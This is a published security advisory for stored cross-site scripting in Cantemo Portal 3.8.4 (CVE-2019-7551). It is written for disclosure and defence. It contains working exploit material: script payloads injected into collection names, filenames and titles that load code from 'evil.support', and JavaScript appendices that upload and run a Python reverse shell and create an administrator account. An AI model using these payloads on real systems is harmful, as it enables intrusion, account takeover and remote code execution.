Cantemo Portal Version 3.8.4 - Cross-Site Scripting

Gauge showing high severity reading

Share

Cantemo Portal Advisory Summary 

Product Vendor

Cantemo AB

Product Description

Cantemo AB is a software systems and technology vendor for major media outlets. The Cantemo Portal application is a high-performance media asset management tool. The latest version at the time of this research was version 3.8.4. Testing was performed on a pre-release version of 4.0.0. Through the cooperation of the vendor, it was determined to affect version 3.8.4 and older versions. Cantemo plans to  patch the issue in v4.0.0.

Affected Version 3.8.4

Vulnerability

One vulnerability was identified within the Cantemo Portal application: Cross-site scripting

This vulnerability is described in the following section.

Impact

As stated in Cantemo's official release, "A successful exploit could lead to users with access to the system obtaining more access than granted, including admin access. Depending on system configuration an attacker can also potentially execute arbitrary code on the server running Cantemo Portal." Considering the organizations that rely on this software (such as major news networks), the results of a successful attack could have been catastrophic.

Solution

Update to v4.0.0 after official release (which was March 8, 2019).

Researcher:

Chris Davis, Security Analyst at Bishop Fox


Cross-Site Scripting Vulnerabilities

The Cantemo Portal application is affected by several instances of stored cross-site scripting (XSS) that allow attackers to execute arbitrary JavaScript. The vulnerability could be exploited by a low-privilege user and would affect administrative users. The walkthrough below uses two payloads: one to execute arbitrary code on the server and the other to create a high privilege administrative user. The exploit code is included in the appendixes after the walkthrough.

The exploits demonstrated are interchangeable. The code execution and administrative user creation payloads can be delivered using any of the three stored XSS locations listed in the following advisory. The payload variations were included to illustrate the potential impact.

Vulnerability Details

CVE ID: CVE-2019-7551

Access Vector: Remote

Security Risk: High 

Vulnerability: CWE-79

CVSS Base Score: 9.0

CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


Stored Cross-Site Scripting: Collections Name

Cross-site scripting that led to remote code execution (RCE) was found while creating a new collection and/or renaming an existing collection. During creation of a new collection, the following POST request was sent, which contained the XSS payload:

POST /vs/collections/add/ HTTP/1.1

…omitted for brevity…

csrfmiddlewaretoken=b1F7IslSnneMxjylTfTvrG8YpkmFeggmI9hTMDpMDTV4tR9X9B7yOSf9sZws00O6&newcollectionname=RCE<script>jQuery.getScript("http://evil.support/rce.js")</script>&collectionprofilegroup=AllRoles

Once the payload was stored in the collection name, it could be triggered by typing the first two characters of the affected collection name. This loaded it into the search functionality and executed the payload, as shown below:

BishopFox Advisory Cantemo reverse shell connection example

Once the initial payload executed,rce.js was loaded from the attacker-controlled server and executed. The JavaScript payload uploaded a shell script to the administrative rules engine 3 then executed the file. The code executed on the Cantemo Portal application server returned an interactive command shell to the attacker server. The exploit code in rce.js can be found in Appendix A of this disclosure. The reverse shell connection is shown below:

BishopFox Advisory Cantemo reverse shell connection shown below

This vulnerability can be exploited by any user with the privilege to modify or create collections and affects any user who can add files into collections, including administrative users. For the remote code execution payload to work, the victim user must have administrative or rules engine 3 permissions.


Stored Cross-site Scripting: Filename

The Cantemo Portal application filenames were vulnerable to stored XSS.

Using a low-privilege user with access to the Ingest Upload functionality, a new image was uploaded to the /vs/upload/ endpoint that contained an XSS payload. The Cantemo Portal application had client-side filtering in place to block special characters within the file name. To bypass this the initial, a GET request was modified with the XSS payload, as shown below:

GET /vs/upload/passkey?originalFilename=happy.jpeg<script>jQuery.getScript("http://evil.support/exploit.js")</script>originalFileSize=173957&ingestprofilegroup=LowPriv HTTP/1.1

…omitted for brevity…

Additionally, this payload could be set by selecting a file from the search functionality and modifying the title. The payload shown above loaded exploit.js from an attacker-controlled server. Exploit.js contained a payload designed to create a new administrative user within the Cantemo Portal application. The full payload is included in Appendix B of this disclosure.

POST /vs/item/VX-4/update_field/title/ HTTP/1.1

…omitted for brevity…

field_value=happy.jpeg%3Cscript%3EjQuery.getScript(%22http%3A%2F%2Fevil.support%2Fexopit.js%3C%2Fscript%3E

The stored XSS payload would execute when a user performed one of several functions listed below:

Action Endpoint
Viewing the file before or after the affected file, as the JavaScript loads into the Next and Previous /vs/item/VX-[#]/?index=[#]&search_id=[#]
The Add to Bin functionality /vs/item/VX-[#]/?index=[#]&search_id=[#]

 

The Preview functionality /search?search_id=[#]&page=[#]
The Add child & Add parent functionality, after two or more characters from the affected filename are entered. /vs/item/VX-[#]/?index=[#]&search_id=[#]#related

Once an admin performed any of the above functionality, the payload executed and created the new admin user, as shown below:

Advisory Cantemo payload executed and created the new admin user, as shown below

Authenticated with an XSS-created user with full administrative privileges

The payload used to create the new administrative user was designed to affect administrative users. However, this vulnerability will affect any authenticated user.


Stored Cross-Site Scripting: Metadata Group Display Name

The metadata group names were vulnerable to XSS. Once a metadata group has been created at <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span style="font-family:'courier new', courier, monospace;">/vs/metadatamanagement/</span></span></code></span>, a malicious user can set the display name to contain an XSS payload, shown in the below request:

POST /vs/metadatamanagement/forms/Cross%20site%20scripting/ HTTP/1.1

…omitted for brevity…

{"formfield":[],"formgroup":[{"attributes":{"language":"","display_name":"XSS<script>alert("XSS")</script>"},"type":"mdGroup","name":"XSS","id":"XSS"}]}

The payload would execute whenever an authenticated user navigated to the /vs/metadatamanagement/ endpoint, and again when any metadata group was selected from the same endpoint, as shown below:

Advisory Cantemo showing payload executing whenever an authenticated user navigated to the /vs/metadatamanagement/ endpoint, and again when any metadata group was selected from the same endpoint

The JavaScript executes within the application’s origin. In this demonstration, a simple alert box was used to show its successful execution. This vulnerability can be exploited by any user who has the privilege to modify Metadata Groups. This exploit affects any authenticated user including admins who browse to the /vs/metadatamanagement/endpoint

Appendix A — XSS Exploit Code to Gain Remote Code Execution (RCE)

An attacker can use the following payload to a reverse shell:

// XSS to RCE payload

// Function to grab CSRF Token

getCsrfToken = async () => {

    var xhr = new XMLHttpRequest();

    xhr.responseType = "document";

    xhr.open("GET", "/rulesengine3/", true);

    xhr.onreadystatechange = async (e) => {

        if (xhr.readyState === 4 && xhr.status === 200) {

            doc = xhr.response;

            const csrfTkn = doc.getElementsByName("csrfmiddlewaretoken")[0].value;

            uploadShell(csrfTkn);

        }

    };

    xhr.send();

}

// Upload payload to Rules3 eninge

uploadShell = async (csrfTkn) => {

    var formData = new FormData();

    // Appends the CSRF token into the form

    formData.append("csrfmiddlewaretoken", csrfTkn);

    // Sets the filename and reverse shell, simple python shell for ease

    const fileName = "revshell.sh";

    const content = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Remote-IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\' ';

    // Appends the shell into the upload form

    var shell = new Blob([content], { type: "application/x-shellscript"});

    formData.append("script_file", shell, fileName);

    formData.append("submit", "Upload");

    // Uploads the form to the server

    var xhr = new XMLHttpRequest();

    xhr.open("POST", "/rulesengine3/script/", true);

    xhr.send(formData);

    createRule(csrfTkn, fileName);

}

// Creates the rule with shell code to run

createRule = async (csrfTkn, fileName) => {

    const ruleName = "XSS2RCE"

    var xhr = new XMLHttpRequest();

    xhr.open("POST", "/rulesengine3/create/", true);

    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    xhr.onreadystatechange = async () => {

        if (xhr.DONE === 4) {

            getProcessId(csrfTkn);

        }

    };

    xhr.send("metadatagroup=Film&portal_mf201890_0=&portal_mf201890_1=integer&portal_mf551902_0=&portal_mf551902_1=integer&portal_mf619153_0=&portal_mf619153_1=textarea&portal_mf257027_0=&portal_mf257027_1=lookup&portal_mf268857_0=&portal_mf268857_1=date&csrfmiddlewaretoken=" + csrfTkn + "&rule_name=" + ruleName + "&title=started+manually&extra_data=&link_url=&trigger_type=Manual&recipient=group_Admin&permission=none&acl_priority=0&acl_method=dynamic&transcode_format=lowres&move_copy_job_priority=&move_copy_formats=%23&move_copy_storage_count=%23&move_copy_new_directory=&action_shell_script=on&shell_script_file=" + fileName + "&export_priority=&export_location=dummy&export_format=dummy&export_metadata=dummy&delete_grace_period=24&collection_name=&collection_remove_name=&email=");

}

// Pulls the process_id param needed to execute manual rules

getProcessId = async (csrfTkn) => {

    var xhr = new XMLHttpRequest();

    xhr.responseType = "document";

    // The open assumes VX-1 exists i.e. a file within the search

    xhr.open("GET", "/rulesengine3/start_process/?selected_objects=VX-1", true);

    xhr.onreadystatechange = async (e) => {

        if (xhr.readyState === 4 && xhr.status === 200) {

            doc = xhr.response;

            var procId = doc.getElementsByName("process_id")[0].value;

            teamMorty(csrfTkn, procId);

        }

    };

    xhr.send();

}

// Function to execute uploaded shell script :)

teamMorty = async (csrfTkn, procId) => {

    var xhr = new XMLHttpRequest();

    xhr.open("POST", "/rulesengine3/start_process/", true);

    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    xhr.send("csrfmiddlewaretoken=" + csrfTkn + "&objects=VX-1&process_id=" + procId)

}

getCsrfToken();

Appendix B — XSS Exploit Code to Create Admin User

An attacker can use the following payload to create a new admin user:

//XSS payload to create a new Admin within Cantemo Portal

// Function to grab CSRF Token

getCsrfToken = async () => {

    var xhr = new XMLHttpRequest();

    xhr.responseType = "document";

    xhr.open("GET", "/users/add/", true);

    xhr.onreadystatechange = async (e) => {

        if (xhr.readyState === 4 && xhr.status === 200) {

            doc = xhr.response;

            csrfTkn = doc.getElementsByName("csrfmiddlewaretoken")[0].value;

            createAdmin(csrfTkn);

        }

    };

    xhr.send();

}

// Create new user with Admin role

createAdmin = async (csrfTkn) => {

    var xhr = new XMLHttpRequest();

    xhr.open("POST", "/users/add/", true);

    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    xhr.send("csrfmiddlewaretoken=" + csrfTkn + "&vsuser-username=XSSUSER&vsuser-password1=Zerocool&vsuser-password2=Zerocool&user-first_name=test&user-last_name=user&user-email=&groups=Admin&uspr-default_group=2&uspr-default_ingest_group=2&uspr-_default_metadata_group_item=&uspr-_default_metadata_group_collection=&uspr-_default_metadata_group_subclip=&uspr-homepage=%2Fsearch%2F&uspr-theme=2&uspr-contact_number=&uspr-paginate_by=15&uspr-notes=&uspr-organisation=")

}getCsrfToken();

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Chris davis

About the author, Chris Davis

Senior Security Consultant

Chris Davis is a Senior Security Consultant at Bishop Fox. His areas of expertise are application penetration testing (static and dynamic) and external network penetration testing.

Chris actively conducts independent security research and has been credited with the discovery of 40 CVEs (including CVE-2019-7551 and CVE-2018-17150) on enterprise-level, highly distributed software. The vulnerabilities he identified included remote code execution and cross-site scripting (XSS).
More by Chris

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.